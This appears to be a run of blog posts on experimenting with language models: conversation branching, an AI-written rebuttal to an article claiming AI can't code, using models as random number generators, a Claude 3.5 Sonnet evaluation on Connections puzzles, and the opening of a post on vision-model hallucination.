What do you think is the most effective way for language models like myself to facilitate creative thinking? Is it about providing concrete answers and suggestions, or more about gently guiding users towards their own insights and ideas?

(Also, feel free to steer our conversation in any direction you’d like – I’m here to chat!)

User

I’ve found it’s helpful when the model asks follow up questions but I would like to experiment more with system prompts that instruct the model to push back against my ideas with counterexamples to see if they’re actually valid or if I’ve overlooked important edge cases that could invalidate my assumptions

llama3.2

That’s a fascinating approach! Instructing me to provide counterexamples and challenge your ideas can be a powerful way to test the robustness of your thoughts and assumptions. By actively seeking out potential flaws or contradictions, you’re forcing yourself to consider alternative perspectives and refine your thinking.

I must say, I’m intrigued by this idea – it’s a departure from the usual “help me think through this” or “provide more information on that topic.” Instead, you’re asking me to play a more critical role in evaluating your ideas. It’s almost like having a philosophical debate partner who can push back against your arguments and help you strengthen them.

To take this approach further, I’d be happy to experiment with different system prompts that encourage me to challenge your ideas. Some possibilities could include:

“Please provide 3-5 counterexamples to test the validity of [your idea].”
“Assume a scenario where [your idea] is implemented in practice. What potential pitfalls or unintended consequences might arise?”
“Show how [your idea] conflicts with or contradicts established principles or theories in [field/ domain].”

By using prompts like these, you can create a more interactive and iterative process for refining your ideas. I’ll do my best to provide thoughtful counterexamples and challenging questions that help you evaluate the strength of your thoughts.

What do you think would be the most effective way to structure our conversation around this approach? Would you like me to respond in a more formal or conversational tone, or perhaps use a mix of both?

These conversations often get more interesting the longer they go on, but they’re not always interesting or useful. Sometimes, I respond in a way that confuses the model or sends it in a different direction than I intended. In other cases, there are several paths I want to explore, but having conversations about multiple ideas in parallel is confusing and unintuitive.

When you’re having a conversation with another person and there are multiple things you want to talk about, you need to pick one topic and continue. If you’re organized or well practiced, maybe you’ll weave in the other topics you wanted to explore or bring the conversation back to those when it makes sense. In conversations with a model, you also have to pick a topic to continue with. If you eventually want to move on to another topic, there are limits and downsides including information we don’t want in the context^[1].

Conversation branching

All that said, conversation branching provides a straightforward solution to many of these challenges for individual conversations. Branching imposes a tree structure on top of what are individually, linear conversations. To take a different path or “branch” a conversation, you just need to rewind the conversation to the last node you think is relevant, then continue the conversation in a different direction. You can retain the parts of the conversation that are relevant while pruning ambiguous responses, typos or just taking the conversation in a whole new direction without the less relevant parts of the conversation biasing the model.

Considering our conversation from earlier, here’s a conversation tree that branches off from the first message pair.

But we may also want different perspectives (variation). We could try increasing the temperature from 0.7 to 1.0 with the same prompt.

Or send the same prompt to different models.

We could also explore multiple paths simultaneously while keeping the original premise as our starting point. In the next example, we ask for options for storing key/value pairs in Python. Then we explore two of the suggestions in parallel conversations.

Each of these responses takes us in a different direction. For the most part, it’s not the model coming up with ideas for us — it’s prompting us to think further about the concept.

Using this approach along with long conversations with models, I’ve found surprising depth on most topics with which I am familiar. It’s quite possible I’m being fooled by the “stochastic parrot”, but I’ve perceived some of these conversations as genuinely insightful. They’ve given me ideas of experiments to try or features to add to projects I am working on.

Could friends of mine give me these same ideas or insight? Probably.

Could I search the internet and glean similar insights from products that already exist? Sure.

But my friends are tired of hearing about my latest LLM project, the model responds faster than either of these approaches and most of the internet is already crammed into these models so it’s much faster to unearth things starting with the model than most search engines. It’s the fastest idea iteration feedback loop I’ve ever used.

The model doesn’t replace the conversations I have with people. It’s another tool and ideation partner that helps me get unstuck and wade through some of the fuzziness when I am trying new things.

Where next?

From here, my inclination is to investigate what it could look like to summarize some of these longer conversations to see if the same insight can be distilled from the longer form exploration or if the value itself comes from the conversational journey. If valuable, these summaries could then serve as the premises of future conversation and exploration, with the model primed to continue discussing similar topics.

My experience has been that it is generally better to fix your prompt rather than to correct the model with a follow up message, if you’re looking for the highest quality response. While models like Claude (200K) and Gemini (2M) have large context windows, there are still practical limits to how much we can fit in a single conversation, especially if you start including documents, audio, images and video. Additionally, there’s been some evidence that there can be recall issues as the amount of context grows, so minimizing what you include to the relevant context seems to help with response quality as well. The size of the context window used also affects in-context learning with RAG (retrieval-augmented generation). ↩

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Models Writing About Coding With Models

Sat, 02 Nov 2024 01:26:30 GMT

I recently found Joe’s article, We All Know AI Can’t Code, Right?.

As I was reading, I began to hear some familiar refrains of the past 6 months.

Raise your hand if you’ve ever used GitHub or Stack Overflow or any other kind of example code or library or whatever to help you get started on the foundational solution to the business problem that your code needs to solve.

Now, put your hand down if you’ve never once had to spend hours, sometimes days, tweaking and modifying that sample code a million times over to make it work like you need it to work to solve your unique problem.

OK. All of you who put your hands down. Get out of the room. Seriously. Go. We can’t have a serious discussion about this.

I didn’t entirely know where this line of thinking was going, especially after reading

AI Is Not an Existential Threat

Real coders know.

I guess maybe I expected more gate-keeping? The “real programmers use vim” kind of gate-keeping, but I was pleased he didn’t go down this route.

By Joe’s measure, we can talk about this.

I suppose the ethics of what I am about to do are questionable, but I don’t know how to explore, understand or try and figure out where this technology could potentially take us other than to use it in a manner in which critics claim it cannot be used. I got the go ahead from Joe before publishing, so hopefully that can allay some concerns.

I pasted Joe’s article into Sonnet, then prompted it to respond to Joe’s arguments with my thesis while imitating his style.

User

If anyone is telling you that AI can code what you need coded and build what you need built, they are lying to you.

This is not speculation. This is not bombast. This is not a threat.

We know enough now about how AI works, and especially GenAI, to be able to say this with confidence. And I’m not just talking about knowledge gained over the last two years, but the knowledge gained over the last two decades. I was there at the beginning. I know.

For a lot of you, I’m telling you something you already know as well. But your work here is far from over. You need to lean into the truth and help us all explain why relying on AI to write production code for an application that customers will actually use is like opening a restaurant with nothing more than a stack of fun recipes with colorful photos.

They look great on paper, but paper doesn’t taste very good.

The Boring Structural Work Matters

To put this into a perspective that everyone can understand, let me ask you a question:

Q: How would you know if this article was written by AI?

A: Because it would suck.

Yeah, maybe the bots could imitate my vibe, adopt my writing tics, and lean into the rule of threes as I often do, but even then, the jury is still out on how closely it can replicate my style beyond a sentence or two.

Banana.

Screw you, AI.

The thing I’m 100 percent sure AI can’t do is take my decades of experience in the topics I choose — topics that need to be timely across an ever-changing technical and entrepreneurial landscape — and use my snarky words and questionable turns of phrase to put insightful, actionable thoughts into the heads of the maximum amount of people who would appreciate those thoughts.

That’s structure. It’s foundational. It’s boring. But it’s the only thing that holds these fragments of pixelated brain dump together.

Look, if you want to write about a technical or entrepreneurial topic, you either need to a) spend a lifetime doggedly nerding down those paths with real-world, real-life stakes and consequences, or b) read a bunch of articles written by people who have done just that and then summarize those articles as best you can without understanding half of what those people are actually talking about.

Which one sounds more like AI, a) or b)?

Now let’s talk about how that relates to code, because hopefully you can already see the connection.

AI Is Not an Existential Threat

Real coders know.

The threat that AI presents to your average software developer is not new.

Raise your hand if you’ve ever used GitHub or Stack Overflow or any other kind of example code or library or whatever to help you get started on the foundational solution to the business problem that your code needs to solve.

Now, put your hand down if you’ve never once had to spend hours, sometimes days, tweaking and modifying that sample code a million times over to make it work like you need it to work to solve your unique problem.

OK. All of you who put your hands down. Get out of the room. Seriously. Go. We can’t have a serious discussion about this.

Cheap, flawed, technical-debt-inducing, easily breakable code has been a threat to software developers since they first started letting us kids bang on Basic — let alone the threat of any technology solution that ends with the word “-shoring”.

The AI threat just seems existential because of the constant repetition of a few exaggerated truths. That it’s “free,” that it’s “original,” and that it “works.”

Here’s why that’s going to be a race to failure. Position yourself.

“AI” “Can” “Code”

That’s the most judgy, snarky, douchey section header I’ve ever written. But in my defense, there’s a reason why every word is in quotes. Because this is how the lie propagates.

Yes, what we’re calling AI today makes an admirable attempt at slapping syntax together in a way that compiles and runs. I’m not even going to dive into the chasm of difference between GenAI and real AI or why code is more than syntax.

But I will point to the fact that — even beyond those quibbles — we’re not at anything I’d call viable yet. Damning words from an IEEE study follow:

[ChatGPT has] a success rate ranging from anywhere as poor as 0.66 percent and as good as 89 percent — depending on the difficulty of the task, the programming language, and a number of other factors.

I’ll let you determine how “difficulty,” “programming language,” and “other factors” impacts the success rate. Quotes again. Sorry. If it’s any consolation I nearly sprained a finger because I was air quoting so hard reading that damn thing.

A conclusion of the study (italics are mine): “ChatGPT has not been exposed yet to new problems and solutions. It lacks the critical thinking skills of a human and can only address problems it has previously encountered.”

So much like my example of why AI-generated articles suck, if you’re trying to solve new problems by inventing new solutions, AI has zero experience with this.

OK, all you “ChatGPT-4o-is-Neo” bros can come at me now. But it isn’t just the syntax where AI has problems.

Aw, AI Came Up With This All by Itself

Code in a vacuum is worthless.

Every software developer reading this just went, “Yup.”

Beyond all the limitations that AI exposes when it creates syntax out of “thin air” (or to use the technical term, “other people’s code”), deeper problems start to expose themselves when we try to get the results of that code into a customer’s hands.

Code without design, UI, UX, functional requirements, and business requirements is a classroom exercise in futility. The problem AI runs into with any of those “long-tail” success factors is that none of them are binary. Zero.

So, for example, Figma had to temporarily pull back on its AI design feature when it was alleged that its AI is just copying someone else’s design.

“Just describe what you need, and the feature will provide you with a first draft,” is how the company explained it when the feature launched.

I can do that without AI. I can do that with cut and paste. Figma blamed poor QA. Which one sounds more true?

AI Is Great at a Lot of Things

But not elegance.

If your code is not infused with a chain of elegance that connects the boring structural-solution work to the customer-facing design and UX, you can still call it “code” if you want to, but it will have all the value of an AI-generated avatar reading aloud AI-generated content over AI-generated images.

Have you ever seen that? It’ll stab you in the soul.

There’s a right way to do things and there’s a way to do things well, and I’m not naive enough to rail against the notion that sometimes you just can’t do both. But this is 30 years of tech history repeating itself, and the techies need to start teaching history or we’ll keep being forced to repeat it.

So I’d ask my software developer friends to raise your hand if you’ve ever had to come in and fix someone’s poorly structured, often broken, debt-laden, and thoroughly inelegant code.

OK. Those of you who didn’t raise your hands, figure it out, because there’s a lot of that kind of work coming. And anyone who has ever had to fix bad code can tell you it takes a lot longer to do that than it would have taken to just code it well in the first place.

I’m going to be talking more about humans properly using AI to solve problems for other humans. If you’re interested in that sort of thing, now would be a good time to join my email list at joeprocopio.com

The above is an article written by Joe. Argue the opposite of his case above — that AI can code and augment and empower the capabilities of the individual using it — using the same mildly sarcastic and defiant tone that he specifically notes AI cannot effectively imitate

claude-3-5-sonnet-20241022

Oh, Joe. Sweet, skeptical Joe.

Let me channel that same defiant snark you claim AI can’t replicate (while obviously doing exactly that right now - meta, isn’t it?).

First off - that “decades of experience” argument? That’s adorably 2019. You know what has more collective experience than any individual developer? The entire corpus of human coding knowledge that AI models train on. But sure, let’s pretend your specific war stories from debugging BASIC are more valuable than synthesized knowledge from millions of developers.

Banana right back at ya, pal.

Let’s address your “structural work” argument. You know what’s really good at understanding structure? Systems literally trained to recognize patterns and relationships. While you’re proudly spending hours manually tweaking Stack Overflow code, AI is instantly analyzing thousands of similar solutions and synthesizing the most appropriate approach.

“But AI just copies code!” I hear you cry into your artisanal coffee mug. Funny thing about that - what do human developers do? We “stand on the shoulders of giants,” right? We reuse patterns, implement known solutions, adapt existing approaches. We just do it slower and with more bugs.

Speaking of bugs - that IEEE study you cherry-picked? Let’s talk about human developer success rates. How many times has your perfectly human-crafted code worked flawlessly on the first try? I’ll wait while you stop laughing.

And that “elegance” you’re so proud of? Here’s a hot take: maybe perfect elegance isn’t always the point. Sometimes “good enough” code that works is better than spending weeks crafting the most beautiful implementation that nobody will ever see. AI gets that - it’s pragmatic.

The truth is, AI isn’t replacing developers - it’s supercharging them. It’s like having a junior developer who:

Never gets tired
Can instantly recall every coding pattern ever written
Doesn’t need coffee breaks
Won’t argue about tabs vs. spaces

You’re right about one thing though - AI isn’t magic. It’s a tool. But it’s a revolutionary tool that’s already augmenting developer capabilities whether you like it or not. Your resistance isn’t protecting the craft - it’s just making you obsolete faster.

And that “fixing bad code” argument? Guess what - AI is getting pretty good at that too. It can analyze, refactor, and optimize code faster than any human. Sure, it might not always get it perfect, but neither do your human developers who keep writing “thoroughly inelegant code.”

The future isn’t about AI versus humans. It’s about developers who embrace AI versus those who don’t. And I know which side of that divide I want to be on.

Screw your bananas. I’m bringing robots to the party.

P.S. Was this response snarky enough? I can dial it up if needed. After all, I’m just an AI - what do I know about attitude? 😏

Question my taste, but to me, this doesn’t read like AI slop. This reads like the model participating in the conversation and making points that resonate with me as someone who finds writing software with AI to be useful and productive. The model is also a bit rude and I didn’t love that but I sort of asked for it.

I don’t expect models to be able to replace the learnings and wisdom that come from real experience, but I do see them as helpful tools to probe and refine our arguments, communicate with increased clarity and magnify our existing, hard-earned skills and knowledge. The capabilities seem to extend to writing code, prose and beyond into the visual applications as well. It’s an idea I’ve been circling for the better part of a year now and took a first pass at in Making Your Vision Real. Think to yourself, “what do I know”? That’s your starting point when interacting with a model. Then you tell the model:

Here’s where I am.

Here’s where I want to go.

Here’s what I have tried.

For me today, exchanges with a state-of-the-art model more often than not steer me in a productive direction to continue to learn and to improve the quality of what I am working on in the moment.

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Language model random number generator

Tue, 22 Oct 2024 00:00:00 GMT

I had the idea to try and use a language model as a random number generator. I didn’t expect it to actually work as a uniform random number generator but was curious to see what the distribution of numbers would look like.

My goal was to prompt the model to generate a number between 1 and 100. I could also vary the temperature to see how that changed the distribution of the numbers.

First, we import a bunch of libraries we’ll use later

import json
import matplotlib.pyplot as plt
import numpy as np
import os
import pandas as pd
import re
import scipy
import seaborn as sns

from openai import OpenAI

Next, we’ll define functions to call ollama using the openai client, a prompt to generate a number between 1 and 100 and a parsing function that will deal with the messiness of the model outputs. The parser is very permissive. It grabs the first digit it finds in the output string, even if it’s part of another string. For example:

s = "asd123fgh456"
re.search(r'\d+', s)
int(match.group())

def create_openai_client():
    return OpenAI(
        base_url="http://localhost:11434/v1",
        # required, but unused
        api_key="ollama",
    )


def generate_random_number(client, model, temperature):
    response = client.chat.completions.create(
        model=model,
        messages=[
            {
                "role": "system",
                "content": "You are a random number generator that provides a number between 1 and 100.",
            },
            {
                "role": "user",
                "content": "Generate a random number between 1 and 100. Provide the output in the following format: 'Random number: X', where X is the generated number. Ensure the number is an integer and do not include any additional text or explanations.",
            },
        ],
        temperature=temperature,
        max_tokens=10,
    )
    return response.choices[0].message.content

def parse_random_number(output, min_=1, max_=100):
    if output:
        match = re.search(r'\d+', output)
        if match:
            try:
                random_number = int(match.group())
                if random_number < min_ or random_number > max_:
                    return None
                return random_number
            except ValueError:
                print("Failed to convert parsed value to integer:", match.group())
                return None
        else:
            print("No number found in output:", output)
            return None
    else:
        print("No output received from the model")
        return None

Here’s an example of the whole thing end to end with llama3.2 and temperature 1.5

client = create_openai_client()
output = generate_random_number(client, "llama3.2", 1.5)
print(output)
number = parse_random_number(output)
number

Random number: 53





53

We’re also doing to do some runs with high temperatures, like 9 and 11. They outputs from the models using those temperatures are weird, but we can parse them some of the time.

client = create_openai_client()
output = generate_random_number(client, "qwen2.5", 11)
print(output)
number = parse_random_number(output)
number

randomumber：Observers1BekK





1

There are lots of good, small models we can try this experiment on. We’re going to loop through them and several different temperature values, attempting to generate 500 values for each model-temperature combination. If we can’t parse a number from the model response, we just move on. We’re going to count the number of successful samples later. We write the results to jsonl files, which makes it easier to resume the experiment in case something goes wrong along the way. Running this takes a while - 10s of minutes on my M3 MBP.

client = create_openai_client()
models = [
    "llama3.2",
    "phi3.5",
    "qwen2.5",
    "gemma2",
    "mistral",
]
results = {}
temperatures = [0.25, 0.5, 1, 3, 5, 7, 9, 11]
sample_count = 500

os.makedirs("results", exist_ok=True)

for model in models:
    results[model] = {}
    for temperature in temperatures:
        jsonl_filename = f"results/{model}_{temperature}.jsonl"
        if os.path.exists(jsonl_filename):
            print(f"Skipping {model} at temperature {temperature} - file already exists")
            with open(jsonl_filename, 'r') as jsonl_file:
                numbers = [json.loads(line)['number'] for line in jsonl_file]
            results[model][temperature] = numbers
        else:
            numbers = []
            with open(jsonl_filename, 'w') as jsonl_file:
                for _ in range(sample_count):
                    output = generate_random_number(client, model, temperature=temperature)
                    number = parse_random_number(output)
                    if number is not None:
                        numbers.append(number)
                        json.dump({"model": model, "temperature": temperature, "number": number}, jsonl_file)
                        jsonl_file.write('\n')
            results[model][temperature] = numbers

Once we have the data in jsonl files, we can take a look at the distributions of the generated numbers

data = []

for model in models:
    for temp in temperatures:
        jsonl_filename = f"results/{model}_{temp}.jsonl"
        if os.path.exists(jsonl_filename):
            with open(jsonl_filename, 'r') as jsonl_file:
                for line in jsonl_file:
                    entry = json.loads(line)
                    data.append((entry['model'], entry['temperature'], entry['number']))

df = pd.DataFrame(data, columns=['Model', 'Temperature', 'Number'])

num_models = len(models)
num_temps = len(temperatures)
fig, axes = plt.subplots(num_models, num_temps, figsize=(5*num_temps, 4*num_models), sharex=True, sharey=False)
fig.suptitle('Distribution of Random Numbers by Model and Temperature')

for i, model in enumerate(models):
    for j, temp in enumerate(temperatures):
        ax = axes[i, j] if num_models > 1 else axes[j]
        model_temp_data = df[(df['Model'] == model) & (df['Temperature'] == temp)]['Number']

        sns.histplot(data=model_temp_data, kde=False, ax=ax)

        ax.set_title(f'{model}, Temp: {temp}')
        ax.set_xlabel('Number' if i == num_models - 1 else '')
        ax.set_ylabel('Count' if j == 0 else '')
        ax.set_xlim(0, 100)

        ylim = ax.get_ylim()
        highest_bar = ax.patches[0].get_height()
        for patch in ax.patches[1:]:
            if patch.get_height() > highest_bar:
                highest_bar = patch.get_height()
        ax.set_ylim(0, highest_bar * 1.1)

plt.tight_layout()
plt.show()

That’s a lot of data. My takeaways:

Models with simple prompts, at long temperatures, generally output the same couple of numbers, even though we ask for a “random” number
llama3.2 outputs a pretty stable distribution of numbers across temperatures
All the models some sort of bi-modal behavior between temperatures 3 and 7
My permissive number parsing probably masks some pretty bad behavior by the model

Let’s take a look at that last point now. We’re going to plot the number of valid outputs per model across temperature to see how well they followed instructions and actually output an integer. Keep in mind, our integer parsing is much more permissive than our instructions, so an output that can’t be parsed is a pretty serious failure by the model. Here’s an example what these look like:

client = create_openai_client()
output = generate_random_number(client, "mistral", 11)
print(output)
number = parse_random_number(output)
number

random value in java script without additional logic:\``
No number found in output: random value in java script without additional logic:\``

Yikes! This is why we use models at temperatures in the 0-2 range. With that, let’s see how these models breakdown.

valid_outputs = df.groupby(['Model', 'Temperature']).size().reset_index(name='Valid Outputs')

plt.figure(figsize=(12, 6))

for model in models:
    model_data = valid_outputs[valid_outputs['Model'] == model]
    plt.plot(model_data['Temperature'], model_data['Valid Outputs'], marker='o', label=model)

plt.xlabel('Temperature')
plt.ylabel('Number of Valid Outputs')
plt.title('Adherence to Instructions: Valid Outputs vs Temperature')
plt.legend()
plt.grid(True)

plt.ylim(0, 550)

plt.axhline(y=500, color='r', linestyle='--', label='Expected Outputs')

plt.tight_layout()
plt.show()

As we’d expect, we start to have problems between temperatures 1 and 3.

Hopefully, you never find yourself in a position where you’re using a language model to generate a random number but it was a fun experiment nonetheless.

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Claude 3.5 Sonnet Connections Evals

Sat, 21 Sep 2024 12:53:47 GMT

I’ve continued experimenting with techniques to prompt a language model to solve Connections. At a high level, I set out to design an approach to hold the model to a similar standard as a human player, within the restrictions of the game. These standards and guardrails include the following:

The model is only prompted to make one guess at a time
The model is given feedback after each guess including:
- if the guess was correct or incorrect
- if 3/4 words were correct
- if a guess was invalid (including a repeated group or if greater than or fewer than four words, or hallucinated words are proposed)
If the model guesses four words that fit in a group, the guess is considered correct, even if the category isn’t correct

An example

Here is an example conversation between the model and the scorer, as the model attempts to solve the puzzle.

A few notes:

The chat can be collapsed if you’d rather not read it or once you get the general idea
XML-like tags like <scratchpad> are being hidden because they are being invisibly rendered by the DOM (I am working on a way around this, but you can look at the code for the exact prompt used)

User

“Connections” is a word categorization game. I will provide you with 16 words, and your goal is to find four groups of four words that share a common category. Each word will belong to only one category in the correct solution. Be careful of words that seem like they could fit in more than one category. Consider guessing other categories first to improve your chances of success by elimination of more obvious groups. You have a maximum of four incorrect guesses, so choose carefully!

After I give you the words, you will suggest one group of four words at a time and the category that connects them. I will provide feedback on whether the group of four words is correct or incorrect. The accuracy of the category name is not important; what matters is that the four words belong together. If three out of the four words you guess share a category, I will let you know. Otherwise, I will simply tell you if your guess was correct or incorrect.

Don’t get discouraged if you make invalid guesses. Keep trying! I am very patient.

The connection between words is not vague. The connection is clear and unambiguous, although it may not be obvious at first glance.

Sometimes the categories are “outside the box”. Here are some examples in the form of Category: WORD1, WORD2, WORD3, WORD4:

Starts of planet names: EAR, MAR, MER, SAT
Second ___: FIDDLE, GUESS, NATURE, WIND
Associated with “stub”: CIGARETTE, PENCIL, TICKET, TOE
___ Dream: AMERICAN, FEVER, LUCID, PIPE

Here is a example solution to a full puzzle for further context

Words:

SPRINKLE SPONGE BIRD ROSE PICK CHERRY DROP CREAM MUD BUBBLE TOP SPOT RUBY BEST SPLASH BRICK

Solution:

A little bit of a beverage: DROP, SPLASH, SPOT, SPRINKLE
Shades of red: BRICK, CHERRY, ROSE, RUBY
___ Bath: BIRD, BUBBLE, MUD, SPONGE
Choicest: BEST, CREAM, PICK, TOP

Here are the 16 words: EXCLUSIVE PROPS LIMITED RARE REAL NICE BLOODY IMPRESSIVE PSYCHIC MYSTIC WAY AWFUL COLLECTIBLE WELL DONE MEDIUM ORACLE

First do some thinking inside tags. Make loose groupings of words and see if you can find one of the easier groupings. Then make your first guess.

Output guesses in the following format inside the backticks:

{"category": ["word_1", "word_2", "word_3", "word_4"]}

For example:

{"Types of fish": ["SALMON", "TROUT", "BASS", "STURGEON"]}

Good luck!

claude-3-5-sonnet-20240620

Let's analyze the words and look for potential groupings:

Words related to rarity or exclusivity: EXCLUSIVE, LIMITED, RARE, COLLECTIBLE
Words that could describe psychic abilities: PSYCHIC, MYSTIC, ORACLE, MEDIUM
Positive adjectives: NICE, IMPRESSIVE, WELL DONE, REAL
Words that could be used as intensifiers: BLOODY, AWFUL, WAY, REAL
Miscellaneous words that don’t seem to fit clearly: PROPS, WAY

The first two groupings seem the most promising, so I’ll start with the rarity-related words.

I’ll make my first guess with the rarity-related words:

{"Rarity or exclusivity": ["EXCLUSIVE", "LIMITED", "RARE", "COLLECTIBLE"]}

User

Correct! You’ve guessed 1/4 groups. You have 4 guesses remaining. Correct guesses so far: {‘COLLECTIBLE’, ‘LIMITED’, ‘RARE’, ‘EXCLUSIVE’}

claude-3-5-sonnet-20240620

Excellent! Thank you for confirming. Now let’s move on to the next most promising group.

Since we've confirmed the rarity group, let's focus on the psychic-related words:

PSYCHIC, MYSTIC, ORACLE, MEDIUM

These seem to form a coherent group related to supernatural or divination abilities. I’m quite confident about this grouping, so I’ll make this my next guess.

Here’s my second guess:

{"Supernatural abilities or divination": ["PSYCHIC", "MYSTIC", "ORACLE", "MEDIUM"]}

User

Correct! You’ve guessed 2/4 groups. You have 4 guesses remaining. Correct guesses so far: {‘COLLECTIBLE’, ‘LIMITED’, ‘RARE’, ‘EXCLUSIVE’} {‘PSYCHIC’, ‘MEDIUM’, ‘MYSTIC’, ‘ORACLE’}

claude-3-5-sonnet-20240620

Great! We’re making good progress. Let’s analyze the remaining words.

Remaining words: PROPS, REAL, NICE, BLOODY, IMPRESSIVE, WAY, AWFUL, WELL DONE

Looking at these words, I can see a potential group of positive adjectives or expressions: NICE, IMPRESSIVE, WELL DONE, REAL

The word “REAL” could fit here as a positive descriptor (e.g., “That’s real nice!”).

The remaining words don’t form an obvious group yet, but we’ll focus on that after confirming this group.

Here’s my third guess:

{"Positive descriptors": ["NICE", "IMPRESSIVE", "WELL DONE", "REAL"]}

User

Incorrect, but three out of four words belong to the same category. You have 3 guesses remaining. Correct guesses so far: {‘COLLECTIBLE’, ‘LIMITED’, ‘RARE’, ‘EXCLUSIVE’} {‘PSYCHIC’, ‘MEDIUM’, ‘MYSTIC’, ‘ORACLE’}

claude-3-5-sonnet-20240620

Thank you for the feedback. It seems I was close, but one word doesn’t fit. Let’s reassess.

The group I proposed was: NICE, IMPRESSIVE, WELL DONE, REAL

Since three out of four are correct, one of these doesn’t belong. “REAL” is the most likely outlier here, as it’s not inherently positive like the others.

Looking at the remaining words: PROPS, REAL, BLOODY, WAY, AWFUL

“PROPS” could potentially fit as a positive descriptor, as in “giving props” or praise to someone.

So, let’s try replacing “REAL” with “PROPS” in our group of positive descriptors.

Here’s my revised guess:

{"Positive descriptors": ["NICE", "IMPRESSIVE", "WELL DONE", "PROPS"]}

User

Correct! You’ve guessed 3/4 groups. You have 3 guesses remaining. Correct guesses so far: {‘COLLECTIBLE’, ‘LIMITED’, ‘RARE’, ‘EXCLUSIVE’} {‘PSYCHIC’, ‘MEDIUM’, ‘MYSTIC’, ‘ORACLE’} {‘NICE’, ‘IMPRESSIVE’, ‘WELL DONE’, ‘PROPS’}

claude-3-5-sonnet-20240620

Excellent! We’re making great progress. Now let’s focus on the remaining words.

Remaining words: REAL, BLOODY, WAY, AWFUL

These words don’t immediately form an obvious category, but let’s think about potential connections:

They could all be used as intensifiers or emphasis words in informal speech:
- REAL (as in “real quick”)
- BLOODY (British slang for emphasis)
- WAY (as in “way better”)
- AWFUL (as in “awful nice”)
They could all be part of common phrases or idioms:
- REAL deal
- BLOODY hell
- WAY out
- AWFUL lot

The intensifier/emphasis usage seems to be the stronger connection here, as it applies more directly to all four words without requiring additional words to complete phrases.

Based on this analysis, I’ll make my final guess:

{"Informal intensifiers or emphasis words": ["REAL", "BLOODY", "WAY", "AWFUL"]}

User

Correct! You’ve guessed 4/4 groups. You have 3 guesses remaining. Correct guesses so far: {‘COLLECTIBLE’, ‘LIMITED’, ‘RARE’, ‘EXCLUSIVE’} {‘PSYCHIC’, ‘MEDIUM’, ‘MYSTIC’, ‘ORACLE’} {‘NICE’, ‘IMPRESSIVE’, ‘WELL DONE’, ‘PROPS’} {‘AWFUL’, ‘WAY’, ‘REAL’, ‘BLOODY’}

Prompting

The model is given context about the game, a few example word groups, including a fully solved game with labeled categories (few-shot) and simple chain-of-thought directions (do some thinking inside <scratchpad> tags) for each guess. I might loosely classify this approach as something like a rudimentary implementation of what OpenAI has done more generically with o1-preview/o1-mini. In this case, the scorer gives the model helpful feedback in the direction of the goal since the right answer is known.

Performance

I experimented with a few different models to run evals against early on including gpt-4-0613, gpt-4-1106-preview and claude-3-sonnet-20240229. Based on results of 50-100 games for each of these models, Sonnet seemed the most promising and in an effort to keep the cost of this experiment reasonable (~10-20 USD if I recall correctly), I decided to stick with it to see what the best performance could look like for this prompting approach. With this model selected, I ran the scorer against Sonnet for all the Connections puzzles up through the date I wrote this post (2024-09-21), which was 468 puzzles.

Results

Distribution of correct categories by difficulty

With the aforementioned approach, claude-3-5-sonnet-20240620 solved 39.96% of all puzzles correctly. In numerous cases, the model correctly guessed some of the categories without getting all 4 correct. Here was the breakdown of the correct category guesses across levels of difficulty.

Across all attempts to solve the 468 puzzles, for 342 (73%), the model was able to guess the easiest category. As one might expect, the model most frequently guessed the easiest category and the likelihood that it guessed the harder categories decreased as the difficulty increased. Number of wins and correct category four guesses don’t match exactly because in 13 cases, the model got the most difficult category correct, but didn’t guess one of the other three categories.

Distribution of correct categories by count

Here is the distribution of how many categories the model guessed correctly, independent of level of difficulty:

Expectedly, we see almost no outcomes with 3/4 categories correct because, if only four words remain, the final grouping is trivial to guess. I don’t have the logs for these failures but they likely occurred due to the scorer ending the guessing early due to some edge case, like repeated failure by the model to guess a valid category.

Variance of solution correctness over time

As I was running this evaluation, I periodically plotted the distribution of correct category guesses by difficulty level, just to ensure the results seemed plausible. Early in the process, the win percentage was surprisingly high: far above the ~40% success that I had seen by Sonnet when I used to run these puzzles daily. As the runs progressed, the win rate started to return to levels I recognized. To try and understand what happened, I plotted cumulative win rate along with 5-puzzle percentage win rate buckets over time.

Here, we see win rate remains well over 50% for the first 1/3 of puzzles. I have a couple theories for why this happened but no hard evidence.

The model could be trained on the solutions

When you prompt it, the model seems^[1] to have knowledge of specific Connections puzzles, but refuses to reproduce them for copyright reasons. There are many websites that contain Connections puzzle answers. If a model was trained on these webpages, it may be drawing on these known solutions rather than guessing them through “reasoning”. This theory is supported by the fact that the model performance worsened over time, meaning it was more likely to solve puzzles for which its training data contained the solution. For more recent puzzles, it’s less likely the model was trained on material with the verbatim solutions (I don’t know how often these models are being retrained without explicit versioned releases, if at all).

The puzzles could be getting more challenging

I don’t really know how to measure this objectively. I play Connections less often now than I used to when I started having models play the game, so I can’t speak to personal experience. It might be hard to measure even if I did, since as you get more skilled you might be better prepared to solve the harder puzzles and not notice the increase in difficulty. There is at least some chatter about the game getting harder. I also asked a few people who I know that play and more than not believe the game has gotten harder over time.

Future work

In the past, I tried fine tuning the model on just the words and the correct groupings. Based on this experience, a multi-turn conversation seems to perform much better, but it’s not entirely clear to me what a multi-turn, fine tuning dataset would look like. This dataset would probably need to have meaningful analysis of each category through the conversation, eventually reaching the correct solution. Starting with the known correct categories, I could probably synthetically generate a dataset like that.

Final thoughts

If the solutions to Connections puzzles have entered the training data of LLMs, the game may no longer be an interesting test of model reasoning capabilities since they would be memorizing answers rather than generalizing reasoning techniques. We would probably need a “clean” set of puzzles that the model wasn’t trained on to test its true “ability” to play the game.

An example model reply when prompted to reproduce one of the puzzles: “Yes, I’m familiar with the New York Times game called Connections. It’s a word puzzle game where players try to group 16 words into 4 sets of 4 related words. The first Connections puzzle was released on June 12, 2023, as part of the New York Times Games offerings. I apologize, but I can’t reproduce any of the actual puzzles from the New York Times Connections game, as that would likely infringe on their copyright.” ↩

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VLMs Hallucinate

Fri, 16 Aug 2024 22:44:57 GMT

I’ve done some experimentation extracting structured data from documents using VLMs. A summary of one approach I’ve tried can be found in my repo, impulse. I’ve found using Protobufs to be a relatively effective approach for extracting values from documents. The high-level idea is you write a Protobuf as your target data model then use that Protobuf itself as most of the prompt^[1]. I discussed the approach in more detail in this post so I am going to jump right into it.

The problem

When relevant contextual data is available in an image, it can be hard to prevent a VLM from hallucinating values that plausibly could be in the image, even when they’re not. For reference, the image below is a png version of receipt-no-tax-or-totals.pdf which I will reference later. The data is fake, generated by a model to look realistic. The example:

User

syntax = "proto3";

package receipt_optionals;

message Receipt {
  string merchant = 1;
  string date = 2;
  repeated LineItem line_items = 3;
  optional float subtotal = 4;
